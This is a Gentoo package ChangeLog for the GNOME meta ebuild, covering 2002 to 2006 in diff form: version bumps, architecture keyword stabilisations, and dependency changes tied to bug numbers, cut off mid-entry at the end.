gnome-2.16.1.ebuild: + Stable on sparc + + 17 Dec 2006; Tobias Scherbaum gnome-2.16.1.ebuild: + Stable on ppc wrt bug #156662. + + 12 Dec 2006; Chris Gianelloni gnome-2.16.1.ebuild: + Stable on amd64 wrt bug #156662. + + 11 Dec 2006; Andrej Kacian gnome-2.16.1.ebuild: + Stable on x86, bug #156662. + + 10 Dec 2006; Mart Raudsepp gnome-2.16.1.ebuild: + Set minimal versions to exactly what's in upstream 2.16.1, for version + parity; remember that deep upgrade will still get you all the 2.16.2 bits + that are there. Remove tomboy for now, as we can't stabilize it yet + +*gnome-2.16.1 (07 Dec 2006) + + 07 Dec 2006; Remi +gnome-2.16.1.ebuild: + Bumping gnome meta package to 2.16.1 (mostly 2.16.2 really but we're missing a + few packages) + + 25 Nov 2006; Bryan Østergaard gnome-2.16.0-r1.ebuild: + Add ~alpha keyword. + +*gnome-2.16.0-r1 (06 Nov 2006) + + 06 Nov 2006; Daniel Gryniewicz +gnome-2.16.0-r1.ebuild: + Add ekiga to meta; drop ia64 until they keyword + + 05 Nov 2006; Mart Raudsepp -gnome-1.4-r3.ebuild: + Removing GNOME1 + + 01 Nov 2006; Mart Raudsepp -gnome-2.12.3.ebuild: + Removing 2.12 + + 20 Oct 2006; Aron Griffis gnome-2.14.2.ebuild: + Mark 2.14.2 stable on alpha + + 13 Oct 2006; Mart Raudsepp gnome-2.16.0.ebuild: + Add gnome-screensaver; remove gnome-vfs-monikers; move sabayon behind ldap + USE flag. Closes bugs 142483 and 150830 + + 04 Oct 2006; Aron Griffis gnome-2.16.0.ebuild: + Mark 2.16.0 ~ia64 + + 02 Oct 2006; Donnie Berkholz ; gnome-2.16.0.ebuild: + Keyword ~ppc. + + 02 Oct 2006; Gustavo Zacarias gnome-2.16.0.ebuild: + Back to ~sparc + + 19 Sep 2006; Aron Griffis gnome-2.14.2.ebuild: + Mark 2.14.2 stable on ia64. #139612 + + 15 Sep 2006; Daniel Gryniewicz gnome-2.16.0.ebuild: + Remove a number of arches until they keyword deps + + 15 Sep 2006; Daniel Gryniewicz gnome-2.16.0.ebuild: + Orbit 2.14.3 is broken, per upstream + + 14 Sep 2006; Daniel Gryniewicz gnome-2.16.0.ebuild: + Add gnome-cups-manager under cups flag. Bug #143587 + + 12 Sep 2006; John N. Laliberte gnome-2.16.0.ebuild: + add tomboy with mono useflag. + +*gnome-2.16.0 (12 Sep 2006) + + 12 Sep 2006; John N. Laliberte + +gnome-2.16.0.ebuild: + gnome 2.16.0 meta build + + 19 Aug 2006; Bryan Østergaard gnome-2.14.2.ebuild: + Add ~ia64 keyword. + + 17 Jul 2006; Daniel Gryniewicz gnome-2.14.2.ebuild: + Marked stable on amd64 for bug #139612 + + 16 Jul 2006; Tobias Scherbaum gnome-2.14.2.ebuild: + hppa stable, bug #139612 + + 15 Jul 2006; John N. Laliberte + -gnome-2.10-r1.ebuild, -gnome-2.10.1.ebuild, -gnome-2.10.2.ebuild, + -gnome-2.12.0.ebuild, -gnome-2.12.1.ebuild, -gnome-2.12.2.ebuild, + -gnome-2.14.0.ebuild, -gnome-2.14.0-r1.ebuild, -gnome-2.14.1.ebuild: + remove 2.10 and remove old metas. + + 14 Jul 2006; Tobias Scherbaum gnome-2.14.2.ebuild: + ppc stable, bug #139612 + + 12 Jul 2006; Chris Gianelloni gnome-2.14.2.ebuild: + Stable on x86 wrt bug #139612. + + 10 Jul 2006; Gustavo Zacarias gnome-2.14.2.ebuild: + Stable on sparc wrt #139612 + +*gnome-2.14.2 (07 Jul 2006) + + 07 Jul 2006; John N. Laliberte -gnome-2.8.2.ebuild, + -gnome-2.8.3-r1.ebuild, +gnome-2.14.2.ebuild: + add GNOME 2.14.2 meta + + 16 May 2006; Tobias Scherbaum gnome-2.14.1.ebuild: + Added ~hppa + +*gnome-2.14.1 (13 May 2006) + + 13 May 2006; Daniel Gryniewicz +gnome-2.14.1.ebuild: + meta for 2.14.1 + +*gnome-2.14.0-r1 (09 May 2006) + + 09 May 2006; Daniel Gryniewicz +gnome-2.14.0-r1.ebuild: + Dep on at-spi-1.7.7-r1 because of bug #132019 + + 08 May 2006; Markus Rothe gnome-2.14.0.ebuild: + Added ~ppc64 + + 06 May 2006; John N. Laliberte gnome-2.14.0.ebuild: + drop alpha,hppa,ia64, bug filed. prep for 2.14 unmask. + + 21 Apr 2006; Thomas Cort gnome-2.12.3.ebuild: + Stable on alpha wrt Bug #126321. + + 20 Apr 2006; Chris Gianelloni gnome-2.12.3.ebuild: + Marking stable on amd64 and x86 for bug #126321. + + 25 Mar 2006; Aron Griffis gnome-2.12.3.ebuild: + Mark 2.12.3 stable on ia64 + + 21 Mar 2006; Marinus Schraal gnome-2.14.0.ebuild : + Bump gst-plugins-base dep to 0.10.4-r1 to get default audio/video sinks from there + Remove alsa/oss/esd gst plugin conditionals + + 20 Mar 2006; John N. Laliberte gnome-2.14.0.ebuild: + bump gnome-icon-theme dep to 2.14.2 to fix icon scaling issue + +*gnome-2.14.0 (19 Mar 2006) + + 19 Mar 2006; John N. Laliberte + +gnome-2.14.0.ebuild: + 2.14.0 META. add alsa, oss, esd useflags for gstreamer plugins along with + normal version bumps. + + 17 Mar 2006; Tobias Scherbaum gnome-2.12.3.ebuild: + Stable gnome-2.12.3 for ppc, bug #126321 + + 14 Mar 2006; Gustavo Zacarias gnome-2.12.3.ebuild: + Stable on hppa + + 13 Mar 2006; Gustavo Zacarias gnome-2.12.3.ebuild: + Stable on sparc + + 21 Feb 2006; Aron Griffis gnome-2.12.2.ebuild, + gnome-2.12.3.ebuild: + Mark 2.12.3 2.12.2 ~ia64. #108805 + +*gnome-2.12.3 (12 Feb 2006) + + 12 Feb 2006; John N. Laliberte + +gnome-2.12.3.ebuild: + 2.12.3 meta build + + 04 Feb 2006; Guy Martin gnome-2.12.2.ebuild: + Stable on hppa. + + 22 Jan 2006; gnome-2.12.2.ebuild: + Marked stable on amd64 per bug #119634 + + 22 Jan 2006; Tobias Scherbaum gnome-2.12.2.ebuild: + Marked ppc stable for bug #119634; Stabilize Gnome-2.12.2 + + 22 Jan 2006; Joshua Jackson gnome-2.12.2.ebuild: + Stable on x86 for bug #119634; Stabilize Gnome-2.12.2 + + 21 Jan 2006; John N. Laliberte gnome-2.12.2.ebuild: + re-add ~ppc keyword, lost in the shuffle from .0 to .2 + + 20 Jan 2006; Gustavo Zacarias gnome-2.12.2.ebuild: + Stable on sparc wrt #119634 + +*gnome-2.12.2 (18 Jan 2006) + + 18 Jan 2006; Joe McCann +gnome-2.12.2.ebuild: + gnome-2.12.2 metabuild in preperation for ~arch to stable process + + 12 Jan 2006; Saleem Abdulrasool gnome-2.8.2.ebuild, + gnome-2.8.3-r1.ebuild, gnome-2.10-r1.ebuild, gnome-2.10.1.ebuild, + gnome-2.10.2.ebuild, gnome-2.12.0.ebuild, gnome-2.12.1.ebuild: + pkgmove gnome-extra/libgtkhtml gnome-extra/gtkhtml + + 26 Dec 2005; Bryan Østergaard gnome-2.8.2.ebuild, + gnome-2.8.3-r1.ebuild, gnome-2.10-r1.ebuild, gnome-2.10.1.ebuild, + gnome-2.10.2.ebuild, gnome-2.12.0.ebuild, gnome-2.12.1.ebuild: + Fix GStreamer dependencies + + 19 Nov 2005; Joseph Jezak gnome-2.12.0.ebuild: + Added ~ppc for bug #108804. + + 21 Oct 2005; Leonardo Boshell gnome-2.8.2.ebuild, + gnome-2.8.3-r1.ebuild: + Added mips restrictions around gnome-volume-manager. + +*gnome-2.12.1 (21 Oct 2005) + + 21 Oct 2005; Leonardo Boshell +gnome-2.12.1.ebuild: + New version. + + 17 Oct 2005; Aron Griffis gnome-2.10.2.ebuild: + Mark 2.10.2 stable on ia64 + + 13 Oct 2005; John N. Laliberte gnome-2.12.0.ebuild: + change pkg_postinst to reflect the upgrade guide, and rec gamin over fam. + Thanks to fox2mike for noticing. + + 11 Oct 2005; Gustavo Zacarias gnome-2.12.0.ebuild: + Back to ~sparc wrt #108803 + + 11 Oct 2005; John N. Laliberte gnome-2.12.0.ebuild: + remove support for hppa, ia64, ppc, sparc. filed bugs + + 17 Sep 2005; Aron Griffis gnome-2.10.2.ebuild, + gnome-2.12.0.ebuild: + Mark 2.12.0 2.10.2 ~ia64 + + 14 Sep 2005; John N. Laliberte gnome-2.12.0.ebuild: + add information about adding yourself to plugdev in postinst + +*gnome-2.12.0 (14 Sep 2005) + + 14 Sep 2005; John N. Laliberte + -gnome-2.12_rc1.ebuild, +gnome-2.12.0.ebuild: + change libwnck position fixes #105008, remove evolution-exchange from meta, + 2.12.0 Final Release + + 12 Sep 2005; Michael Hanselmann gnome-2.10.2.ebuild: + Stable on ppc. + +*gnome-2.12_rc1 (04 Sep 2005) + + 04 Sep 2005; John N. Laliberte + +gnome-2.12_rc1.ebuild: + GNOME 2.12 Release Candidate 1 + + 31 Aug 2005; Herbie Hopkins gnome-2.10.2.ebuild: + Stable on amd64. + + 29 Aug 2005; Guy Martin gnome-2.10.2.ebuild: + Stable on hppa. + + 26 Aug 2005; Gustavo Zacarias gnome-2.10.2.ebuild: + Stable on sparc + + 26 Aug 2005; Leonardo Boshell gnome-2.10.2.ebuild: + Stable on x86. + +*gnome-2.11.91_pre1 (22 Aug 2005) + + 22 Aug 2005; John N. Laliberte + +gnome-2.11.91_pre1.ebuild: + uncomment some packs as deps since they are now available in the tree. + + 02 Aug 2005; Simon Stelling gnome-2.10.1.ebuild: + stable on amd64 + + 31 Jul 2005; Tobias Scherbaum gnome-2.10.1.ebuild: + ppc stable + + 27 Jul 2005; Guy Martin gnome-2.10.1.ebuild, + gnome-2.10.2.ebuild: + Stable on hppa. + + 27 Jul 2005; Gustavo Zacarias gnome-2.10.1.ebuild: + Stable on sparc + +*gnome-2.10.2 (26 Jul 2005) + + 26 Jul 2005; Leonardo Boshell gnome-2.10.2.ebuild: + GNOME 2.10.2 release. + + 26 Jul 2005; Leonardo Boshell gnome-2.10.1.ebuild: + Stable on x86. + +*gnome-2.10.1 (08 Jul 2005) + + 08 Jul 2005; Leonardo Boshell gnome-2.10.1.ebuild: + Final 2.10.1 ebuild, updated all dependencies to upstream versions for + GNOME 2.10.1. + + 02 Jul 2005; Bryan Østergaard gnome-2.10-r1.ebuild: + Stable on alpha. + + 26 Jun 2005; Guy Martin gnome-2.10-r1.ebuild: + Stable on hppa. + + 13 Jun 2005; Bryan Østergaard gnome-2.10-r1.ebuild: + Add ~alpha keyword. + + 12 Jun 2005; Olivier Crête gnome-2.10-r1.ebuild: + Stable on amd64 + + 12 Jun 2005; Tobias Scherbaum + gnome-2.10-r1.ebuild: + Stable on ppc. + + 09 Jun 2005; Gustavo Zacarias gnome-2.10-r1.ebuild: + Stable on sparc + +*gnome-2.10-r1 (09 Jun 2005) + + 09 Jun 2005; Marinus Schraal gnome-2.10-r1.ebuild : + Final 2.10 stable meta, include rev bumps for panel & eds bugs + + 06 Jun 2005; Guy Martin gnome-2.10.ebuild, + gnome-2.10.1_pre0.ebuild: + Removing useless hppa specific stuff once again from new ebuilds. + + 05 Jun 2005; Marinus Schraal gnome-2.10.0.ebuild : + A few more dep fixes + + 18 May 2005; Jason Wever gnome-2.8.3-r1.ebuild: + Stable on SPARC. + + 17 May 2005; Guy Martin gnome-2.8.3-r1.ebuild: + Stable on hppa. + + 11 May 2005; Guy Martin gnome-2.8.3-r1.ebuild: + Stable on hppa. + + 09 May 2005; Aron Griffis gnome-2.10.ebuild: + add ~ia64 + + 08 May 2005; Aron Griffis gnome-2.8.3-r1.ebuild: + stable on ia64 + + 08 May 2005; Herbie Hopkins gnome-2.8.3-r1.ebuild: + Stable on amd64. + + 06 May 2005; Markus Rothe gnome-2.10.ebuild, + gnome-2.10.1_pre0.ebuild: + Added ~ppc64 to KEYWORDS + +*gnome-2.10.1_pre0 (03 May 2005) + + 03 May 2005; Joe McCann +gnome-2.10.1_pre0.ebuild: + Add 2.10.1 pre meta + +*gnome-2.10 (01 May 2005) + + 01 May 2005; Joe McCann +gnome-2.10.ebuild: + move 2.10 from p.mask to ~arch + + 30 Apr 2005; Mike Gardiner gnome-2.8.3-r1.ebuild: + Marked x86/ppc + + 27 Apr 2005; Bryan Østergaard gnome-2.8.2.ebuild: + Stable on ia64. + + 07 Apr 2005; Simon Stelling gnome-2.8.2.ebuild: + stable on amd64 + + 02 Apr 2005; Stephen P. Becker gnome-2.8.2.ebuild: + stable on mips + + 23 Mar 2005; Seemant Kulleen gnome-2.6.ebuild, + gnome-2.6.2-r1.ebuild, gnome-2.8.0-r1.ebuild, gnome-2.8.1-r1.ebuild, + gnome-2.8.2.ebuild, gnome-2.8.3_pre0.ebuild, gnome-2.8.3.ebuild, + gnome-2.8.3-r1.ebuild, gnome-2.10_pre0.ebuild: + change dep from net-www/epiphany to www-client/epiphany + + 21 Mar 2005; Guy Martin gnome-2.8.2.ebuild: + Stable on hppa. + + 20 Mar 2005; Bryan Østergaard gnome-2.8.2.ebuild: + Stable on alpha. + + 19 Mar 2005; Mike Doty gnome-2.10_pre0.ebuild: + ~amd64, bug 85028 + +*gnome-2.10_pre0 (11 Mar 2005) + + 11 Mar 2005; Gustavo Zacarias gnome-2.10_pre0.ebuild: + To ~sparc wrt #84701 + + 09 Mar 2005; Gustavo Zacarias gnome-2.8.2.ebuild: + Stable on sparc + + 09 Mar 2005; Mike Gardiner gnome-2.8.2.ebuild: + Keyworded x86 ppc + +*gnome-2.8.3-r1 (07 Mar 2005) + + 07 Mar 2005; Leonardo Boshell gnome-2.8.3-r1.ebuild: + Added gnome-speech and dasher to the accessibility section. + +*gnome-2.8.3 (02 Mar 2005) + + 02 Mar 2005; Mike Gardiner +gnome-2.8.3.ebuild, + gnome-2.8.3_pre0.ebuild: + New version, 2.8.3. This release consists almost entirely of bugfixes, and + new translations + +*gnome-2.8.2 (20 Jan 2005) + + 20 Jan 2005; Mike Gardiner +gnome-2.8.2.ebuild: + New meta version - 2.8.2 in ~arch + + 08 Jan 2005; Tom Martin gnome-2.8.1-r1.ebuild: + Stable on amd64. + + 27 Dec 2004; Guy Martin gnome-2.8.1-r1.ebuild: + Stable on hppa. + + 27 Dec 2004; Joe McCann gnome-2.6.1_p1.ebuild, + gnome-2.6.3_pre0.ebuild: + Remove deps on masked esound and add !mips for epiphany. Fixes bug 75794 + + 24 Dec 2004; Bryan Østergaard gnome-2.8.1-r1.ebuild: + Stable on alpha. + + 22 Dec 2004; Gustavo Zacarias gnome-2.8.1-r1.ebuild: + Stable on sparc + + 19 Dec 2004; Mike Gardiner gnome-2.8.1-r1.ebuild: + Keyworded x86 and ppc - everyone say hello GNOME 2.8.1 + + 11 Dec 2004; Bryan Østergaard gnome-2.8.0-r1.ebuild: + Stable on alpha. + + 11 Dec 2004; Mike Gardiner gnome-2.8.1-r1.ebuild, + -gnome-2.8.1.ebuild: + Moved back to libglade-2.4, as 2.4.1 is buggy/incompatible, see bug #73868 + +*gnome-2.8.1-r1 (08 Dec 2004) + + 08 Dec 2004; Mike Gardiner +gnome-2.8.1-r1.ebuild, + gnome-2.8.1.ebuild: + New version in ~arch, see bug #72798 for the movement from package.mask + + 30 Nov 2004; Joe McCann gnome-2.8.0-r1.ebuild, + gnome-2.8.1.ebuild: + Removing gnome-nettool for good so gnome doesn't bring in additional network + util deps. See bug #64792 + +*gnome-2.8.1 (29 Nov 2004) + + 29 Nov 2004; Mike Gardiner gnome-2.4.2.ebuild, + +gnome-2.8.1.ebuild: + Added in the meta-tracker for GNOME 2.8.1 + + 16 Nov 2004; Bryan Østergaard gnome-2.8.0-r1.ebuild: + ~alpha keyword. + + 12 Nov 2004; Mike Gardiner gnome-2.8.0-r1.ebuild: + Keyworded ppc for GNOME 2.8, it's definitely warming up. + + 12 Nov 2004; Gustavo Zacarias gnome-2.8.0-r1.ebuild: + Sparc stable, let's warm the place + +*gnome-2.8.0-r1 (21 Oct 2004) + + 21 Oct 2004; Aron Griffis gnome-2.8.0-r1.ebuild: + add ~ia64 + +*gnome-2.8.0 (09 Oct 2004) + + 09 Oct 2004; foser gnome-2.8.0.ebuild : + Minor update to pre1 to move to ~arch (#64135) + Remove alpha from KEYWORDS for now + + 01 Oct 2004; Stephen P. Becker gnome-2.6.2-r1.ebuild: + stable on mips + + 23 Sep 2004; foser gnome-2.8.0_pre1.ebuild : + Add hal USE flag for g-v-m + +*gnome-2.8.0_pre1 (18 Sep 2004) + + 18 Sep 2004; foser gnome-2.8.0_pre1.ebuild : + First gnome meta for gnome 2.8, still lacks some minor components & updates (#64135) + + 24 Aug 2004; Bryan Østergaard gnome-2.6.2-r1.ebuild: + Stable on alpha. + +*gnome-2.6.3_pre0 (22 Aug 2004) + + 22 Aug 2004; Mike Gardiner gnome-2.6.3_pre0.ebuild: + Updated all dependencies to latest versions, getting ready for 2.6.3 release + + 05 Aug 2004; Gustavo Zacarias gnome-2.6.2-r1.ebuild: + Stable on sparc... weee + + 05 Aug 2004; Guy Martin gnome-2.6.2-r1.ebuild: + Stable on hppa. + + 31 Jul 2004; gnome-2.6.2-r1.ebuild: + stable on x86 + +*gnome-2.6.2-r1 (23 Jul 2004) + + 23 Jul 2004; +gnome-2.6.2-r1.ebuild: + Revbumped to catch gnome-utils 2.6.2-r1 that fixes a build issue against 2.6 + headers + +*gnome-2.6.2-r1 23 Jul 2004 + + 23 Jul 2004; Spider + # INSERT ENTRY HERE + + 12 Jul 2004; gnome-2.6.2.ebuild: + glib updated + +*gnome-2.6.2 (11 Jul 2004) + + 11 Jul 2004; gnome-1.4-r3.ebuild, +gnome-2.6.2.ebuild: + Gnome 2.6.2 release, a lot of dependency changes and hacking. this will need + cleanup once a few other arches are sorted out. see comments inside build + + 11 Jul 2004; gnome-1.4-r3.ebuild: + added IUSE flag to shut repoman up + + 04 Jul 2004; Bryan Østergaard gnome-2.6.ebuild: + Stable on alpha. + + 01 Jul 2004; Aron Griffis gnome-2.6.1_p1.ebuild, + gnome-2.6.1_rc1.ebuild: + add ~alpha + + 01 Jul 2004; Aron Griffis gnome-2.6.ebuild: + add ~alpha + + 04 Jun 2004; Stephen P. Becker gnome-2.6.1_p1.ebuild, + gnome-2.6.1_rc1.ebuild, gnome-2.6.ebuild: + 2.6 stable on mips, 2.6.1 testing + + 03 Jun 2004; Stephen P. Becker gnome-2.4.2.ebuild, + gnome-2.6.ebuild: + Do not build epiphany on mips because mozilla is broken. + + 29 May 2004; Pieter Van den Abeele gnome-2.6.ebuild: + Masked gnome-2.6.ebuild stable for ppc + + 26 May 2004; Guy Martin gnome-2.6.1_p1.ebuild, + gnome-2.6.ebuild: + Removed epiphany from DEPEND for hppa. Added hppa and ~hppa to KEYWORDS. + +*gnome-2.6.1_p1 (21 May 2004) + + 21 May 2004; foser gnome-2.6.1_p1.ebuild : + New update tracker + +*gnome-2.6.1_rc1 (21 May 2004) + + 21 May 2004; foser gnome-2.6.1_rc1.ebuild : + New meta for 2.6.1 release + + 15 May 2004; Stephen P. Becker gnome-2.4.2.ebuild: + Stable on mips. + +*gnome-2.6_p1 (20 Apr 2004) + + 20 Apr 2004; foser gnome-2.6_p1.ebuild : + update tracker for the gnome team + 2.6.* : fix typo in postinst note : fam -> famd (#48340) + + 17 Apr 2004; Travis Tilley gnome-2.4.2.ebuild: + stable on amd64 + +*gnome-2.6 (05 Apr 2004) + + 05 Apr 2004; foser gnome-2.6.ebuild : + Add changelog entry for 2.6 release + +*gnome-2.6_rc5 (01 Apr 2004) + + 01 Apr 2004; foser gnome-2.5_rc5.ebuild : + New rc, this is really gnome 2.6 final + +*gnome-2.6_rc4 (30 Mar 2004) + + 30 Mar 2004; Travis Tilley gnome-2.6_rc4.ebuild: + added ~amd64 keyword + +*gnome-2.6_rc3 (23 Mar 2004) + + 23 Mar 2004; L. Boshell gnome-2.6_rc3.ebuild: + Including accessibility packages. + +*gnome-2.6_rc2 (22 Mar 2004) + + 22 Mar 2004; foser gnome-2.6_rc2.ebuild : + Updated meta to boost testing, now contains most of gstreamer + +*gnome-2.6_rc1 (21 Mar 2004) + + 21 Mar 2004; foser gnome-2.6_rc1.ebuild : + Initial gnome 2.6 meta ebuild + Misses gstreamer & accessibility + + 09 Mar 2004; gnome-2.4.2.ebuild: + stable on alpha and ia64 + +*gnome-2.4.2_p1 (14 Feb 2004) + + 14 Feb 2004; Alastair Tse gnome-2.4.2_p1.ebuild: + revision bump + + 10 Feb 2004; Gustavo Zacarias gnome-2.4.2.ebuild: + stable on hppa and sparc + + 10 Feb 2004; Bartosch Pixa gnome-2.4.2.ebuild: + set ppc in keywords + + 07 Feb 2004; foser gnome-2.4.2-r1.ebuild : + Fix gnome-vfs dep to 2.4.2-r1 to fix a mistake + + 06 Feb 2004; gnome-2.4.2.ebuild: + move intltool, pkg-config, gtk-doc to DEPEND instead of RDEPEND. kills off the + last RDEPEND=intltool in my install + + 06 Feb 2004; gnome-2.4.2.ebuild: + updated scrollkeeper to 0.3.14, intltool to 0.30 + remove outdated warning about KEYWORDS + +*gnome-2.4.2 (05 Feb 2004) + + 05 Feb 2004; foser gnome-2.4.2.ebuild : + New release + + 29 Jan 2004; Aron Griffis gnome-2.4.1.ebuild: + stable on alpha and ia64 + + 18 Jan 2004; gnome-2.4.1.ebuild: + Bumped to stable on hppa and sparc, workaround for lack of mozilla on hppa, + enjoy. + + 14 Jan 2004; Mike Gardiner gnome-2.4.1.ebuild: + Marked the meta stable for GNOME 2.4.1 + +*gnome-2.4.1_p1 (23 Dec 2003) + + 23 Dec 2003; foser gnome-2.4.1_p1.ebuild : + Tracker meta ebuild to keep up with new stable packages + This is not meant to ever go stable on any arch + +*gnome-2.4.1 (14 Dec 2003) + + 14 Dec 2003; foser gnome-2.2.4.ebuild : + minor dep fixes + + 14 Dec 2003; Mike Gardiner gnome-2.2.2-r1.ebuild, + gnome-2.4.1.ebuild, gnome-2.4.ebuild: + 2.2.2-r1, removed hppa keyword, dependency xscreensaver isnt marked on that + arch. 2.4, removed ia64 keyword, dependency nautilus-cd-burner isnt marked on + that arch. And on the brighter side, new version 2.4.1 now in portage + + 13 Dec 2003; Guy Martin gnome-2.4.ebuild: + Marked stable on hppa. + + 07 Dec 2003; gnome-2.4.ebuild: + Added a note about fam for better nautilus behaviour + + 14 Nov 2003; Aron Griffis gnome-2.4.ebuild: + Stable on ia64 + + 08 Nov 2003; Todd Sunderlin gnome-2.4.ebuild: + added sparc keyword + + 22 Oct 2003; Bartosch Pixa gnome-2.4.ebuild: + set ppc in keywords + + 20 Oct 2003; Aron Griffis gnome-2.4.ebuild: + Stable on alpha + + 17 Oct 2003; Brad House gnome-2.4_rc1.ebuild: + take out ~amd64 flag for now + + 06 Oct 2003; Mike Gardiner gnome-2.4.ebuild: + Marked stable on x86 + + 23 Sep 2003; Bartosch Pixa gnome-2.2.2-r1.ebuild: + set ppc in keywords + +*gnome-2.4 (12 Sep 2003) + + 12 Sep 2003; foser gnome-2.4.ebuild : + Final listing of deps for 2.4, first release + Without accesibility support + +*gnome-2.4_rc1 (07 Sep 2003) + + 07 Sep 2003; foser gnome-2.4_rc1.ebuild : + Gnome 2.4 rc1 + +*gnome-2.2.2-r1 (25 Aug 2003) + + 25 Aug 2003; foser gnome-2.2.2-r1.ebuild : + Add libgtop dep to the meta pack + + 25 Aug 2003; Mike Gardiner gnome-2.2.2-r1.ebuild: + Marked stable on x86 + + 12 Aug 2003; Jason Wever gnome-2.2.1.ebuild: + Changed ~sparc keyword to sparc. + +*gnome-2.2.2 (12 Jul 2003) + + 12 Jul 2003; foser gnome-2.2.2.ebuild : + New version, added intltool dep to be on the safe side with bug #15194 + + 30 Jun 2003; Bartosch Pixa gnome-2.2.1.ebuild: + set ppc in keywords + +*gnome-2.2.1 (16 Mar 2003) + + 02 Jul 2003; Guy Martin gnome-2.2.1.ebuild : + Added hppa to KEYWORDS and a RDEPEND fix for hppa. + + 24 Mar 2003; foser gnome-2.2.1.ebuild : + upped gnome-panel dep to the correct version (#18087) + + 16 Mar 2003; foser gnome-2.2.1.ebuild : + New release + Added accessibility deps + Removed eel dep, it is perfectly covered by nautilus + +*gnome-2.2-r2 (17 Feb 2003) + + 01 Mar 2003; Jason Wever gnome-2.2-r2.ebuild: + Addes ~sparc to keywords. + + 22 Feb 2003; Aron Griffis gnome-2.2-r2.ebuild : + Mark stable on Alpha + + 21 Feb 2003; Aron Griffis gnome-2.2-r2.ebuild : + Don't RDEPEND some packages on alpha where they're broken + + 17 Feb 2003; foser gnome-2.2-r2.ebuild : + fixed gnome-panel dep to 2.2.0.1-r1 to propagete #15685 fix + +*gnome-2.2-r1 (10 Feb 2003) + + 10 Feb 2003; foser gnome-2.2-r1.ebuild : + Set gnome-vfs to 2.2.1 to fix theme-manager issues + + 06 Feb 2003; Aron Griffis gnome-2.2.ebuild : + Add ~alpha to KEYWORDS + +*gnome-2.2 (06 Feb 2003) + + 06 Feb 2003; foser gnome-2.2.ebuild : + Some more cleanups, added ggv and gstreamer deps to the list + +*gnome-2.2_rc2-r98 (05 Feb 2003) + + 05 Feb 2003; Spider gnome-2.2_rc2-r98.ebuild : + sharpened up all deps, fixed the gnome-system-monitor (duplicate and wrong + version) and added gnome-mime-data + this is 2.2.0 pre-release internal gentoo + +*gnome-2.2_rc2 (30 Jan 2003) + + 02 Feb 2003; foser gnome-2.2_rc2.ebuild : + Added acme dep + + 01 Feb 2003; foser gnome-2.2_rc2.ebuild : + Added gnome-system-monitor dep + + 31 Jan 2003; foser gnome-2.2_rc2.ebuild : + Added nautilus-media dep and fixed ORBit2 + + 30 Jan 2003; foser gnome-2.2_rc2.ebuild : + GNOME 2.2 RC2 + + 09 Dec 2002; foser gnome-1.4-r3.ebuild : + Fixed sawfish dep (bug #11832) + +* Autoupdate keywords (12-6-02) + 06 Dec 2002; Rodney Rees : changed sparc ~sparc keywords + +*gnome-2.0.3-r1 (06 Dec 2002) + + 03 Jan 2002; foser gnome-2.0.3-r1.ebuild : + Fixed gtk/pango/atk/glib to depend on stable versions (fixes problems alpha arch) + + 06 Dec 2002; foser gnome-2.0.3-r1.ebuild : + 2.0.3 with Xft2 stuff + +*gnome-2.0.3 (28 Nov 2002) + + 28 Nov 2002; Spider gnome-2.0.3.ebuild : + Gnome 2.0.3 master build, all deps updated. + +*gnome-2.1.2 (12 Nov 2002) + + 03 Dec 2002; Jon Nall gnome-2.1.2.ebuild : + keyworded ~ppc + + 12 Nov 2002; foser gnome-2.1.2.ebuild : + GNOME 2.1.2 release "Life Preserver" + +*gnome-2.1.1 (27 Oct 2002) + + 27 Oct 2002; foser gnome-2.1.1.ebuild : + Gnome 2.1 commit + +*gnome-2.0.2-r2 (17 Oct 2002) + + 17 Oct 2002; foser gnome-2.0.2-r2.ebuild : + pango, gnome-session, gnome-panel and gnome-desktop updated + +*gnome-2.0.2-r1 (20 Sep 2002) + 20 sep 2002; Spider gnome-2.0.2-r1.ebuild : + updated gnome-vfs needs propagation + +*gnome-2.0.2 (15 Sep 2002) + 15 Sep 2002; Spider gnome-2.0.2.ebuild : + back in style + +*gnome-2.0.2_rc1-r1 (14 Sep 2002) + 14 Sep 2002; Spider + some new packages + +*gnome-2.0.2_rc1 (13 Sep 2002) + 13 Sep 2002; Spider + after an absence, 2.0.2_rc1 is done + + +*gnome-2.0.2_pre1 ( 06 Sep 2002) + 06 Sep 2002; Spider + all versions changed.. wheee + ready for 2.0.2 soon + +*gnome-2.0.1 (18 Aug 2002) + 18 Aug 2002; Spider gnome-2.0.1.ebuild : + finally a new sharp release from us. not announced before due to testing + +*gnome-2.0.1_rc1 (10 Aug 2002) + 10 Aug 2002; Spider gnome-2.0.1_rc1.ebuild : + New gnome rc, all packages updated on deps. + +gnome-2.0.0-r2 (24 Jul 2002) + * 24 Jul 2002; Spider + updated with SLOT KEYWORDS and LICENSE + +gnome-1.4-r3 (24 Jul 2002) + 24 Jul 2002; Spider + updated with SLOT KEYWORDS and LICENSE + +gnome-2.0.0 (24 Jul 2002) + 24 Jul 2002; Spider + updated with SLOT KEYWORDS and LICENSE + +*gnome-2.0.0-r1 (16 Jul 2002) + + 16 Jul 2002; Gabriele Giorgetti gnome-2.0.0-r1.ebuild : + Few packages in the list have been updated. Debugging is still there. + +*gnome-2.0.0 (27 Jun 2002) + 27 Jun 2002; Spider gnome-2.0.0.ebuild : + A final release. quite big list this time, we'll keep it so for another two weks and then do a -r1 without debugging. + + 29 Jun 2002; Spider + Updating and adding gnome2-user-docs + + +*gnome-2.0.0_rc2 (22 Jun 2002) + 22 Jun 2002; Spider gnome-2.0.0_rc2.ebuild : + the light is finally turning towards a darker period, summer solstice has passed and so did the Gnome 2 release date, and no Final release yet, but, from the celebrations a new greeting springs out to you all..... "Glad Midsommar" and a second Release Candidate! + + + +*gnome-2.0.0_rc1-r2 (20 Jun 2002) + 20 Jun 2002; Spider gnome-2.0.0_rc1-r2.ebuild : + Major updates to the ebuild, now with far less packages defined, we are close to release and this is my first proposal for a rc for the gentoo package list. + please test this and see if all components get installed properly, they should however be so. + + + +*gnome-2.0.0_rc1-r1 (17 Jun 2002) + 17 Jun 2002; Spider gnome-2.0.0_rc1-r1.ebuild : + new gnome utils, panel and desktop, updated gnome-vfs with a patch that fixes a nautilus bug, new glib, gtk+ and pango versions. + + +gnome-2.0.0_rc1 (14 Jun 2002) + 14 Jun 2002 ;Spider gnome-2.0.0_rc1.ebuild + I have removed the previous rc1 and added a r22 because -rc wasn't final. + the new rc1 has a anti-dependency on gnome-core and includes gnome-games + + +*gnome-2.0.0_rc1 (12 Jun 2002) + 12 Jun 2002; Spider gnome-2.0.0_rc1.ebuild : + Finally the first releaser candidate is out + +*gnome-2.0.0_beta5-r21 (11 jun 2002) + 11 Jun 2002 ;Spider gnome-2.0.0_beta5-r21.ebuild : + tracked down an elusive 